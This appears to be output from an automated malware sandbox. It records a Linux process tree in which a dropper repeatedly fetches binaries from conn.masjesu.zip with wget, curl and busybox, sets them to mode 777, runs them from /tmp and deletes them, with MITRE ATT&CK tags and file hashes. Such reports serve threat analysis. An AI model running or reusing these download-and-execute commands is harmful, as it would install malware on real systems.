- System Network Configuration Discovery
- Writes file to tmp directory
PID:936
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- System Network Configuration Discovery
PID:938
-
-
/bin/chmodchmod 777 Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- File and Directory Permissions Modification
PID:939
-
-
/tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z./Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- Executes dropped EXE
PID:940
-
-
/bin/rmrm Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵PID:941
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- System Network Configuration Discovery
PID:942
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:943
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- System Network Configuration Discovery
PID:945
-
-
/bin/chmodchmod 777 TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- File and Directory Permissions Modification
PID:946
-
-
/tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ./TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:947
-
-
/bin/rmrm TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵PID:948
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- System Network Configuration Discovery
PID:949
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:950
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵PID:952
-
-
/bin/chmodchmod 777 nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- File and Directory Permissions Modification
PID:953
-
-
/tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc./nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- Executes dropped EXE
PID:954
-
-
/bin/rmrm nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵PID:955
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵PID:956
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:957
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- System Network Configuration Discovery
PID:959
-
-
/bin/chmodchmod 777 C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- File and Directory Permissions Modification
PID:960
-
-
/tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD./C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- Executes dropped EXE
PID:961
-
-
/bin/rmrm C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵PID:962
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- System Network Configuration Discovery
PID:963
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:964
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- System Network Configuration Discovery
PID:966
-
-
/bin/chmodchmod 777 tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- File and Directory Permissions Modification
PID:967
-
-
/tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs./tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- Executes dropped EXE
PID:968
-
-
/bin/rmrm tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵PID:969
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- System Network Configuration Discovery
PID:970
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:971
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- System Network Configuration Discovery
PID:973
-
-
/bin/chmodchmod 777 B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- File and Directory Permissions Modification
PID:974
-
-
/tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs./B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- Executes dropped EXE
PID:975
-
-
/bin/rmrm B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵PID:976
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵
- System Network Configuration Discovery
PID:977
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:978
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵PID:980
-
-
/bin/chmodchmod 777 ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵
- File and Directory Permissions Modification
PID:981
-
-
/tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G./ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵
- Executes dropped EXE
PID:982
-
-
/bin/rmrm ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵PID:983
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵PID:984
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:985
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵
- System Network Configuration Discovery
PID:987
-
-
/bin/chmodchmod 777 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵
- File and Directory Permissions Modification
PID:988
-
-
/tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls./1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵
- Executes dropped EXE
PID:989
-
-
/bin/rmrm 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵PID:990
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵
- System Network Configuration Discovery
PID:991
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:992
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵PID:994
-
-
/bin/chmodchmod 777 zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵
- File and Directory Permissions Modification
PID:995
-
-
/tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb./zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵
- Executes dropped EXE
PID:996
-
-
/bin/rmrm zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵PID:997
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- System Network Configuration Discovery
PID:998
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:999
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵PID:1001
-
-
/bin/chmodchmod 777 p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- File and Directory Permissions Modification
PID:1002
-
-
/tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe./p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- Executes dropped EXE
PID:1003
-
-
/bin/rmrm p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵PID:1004
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97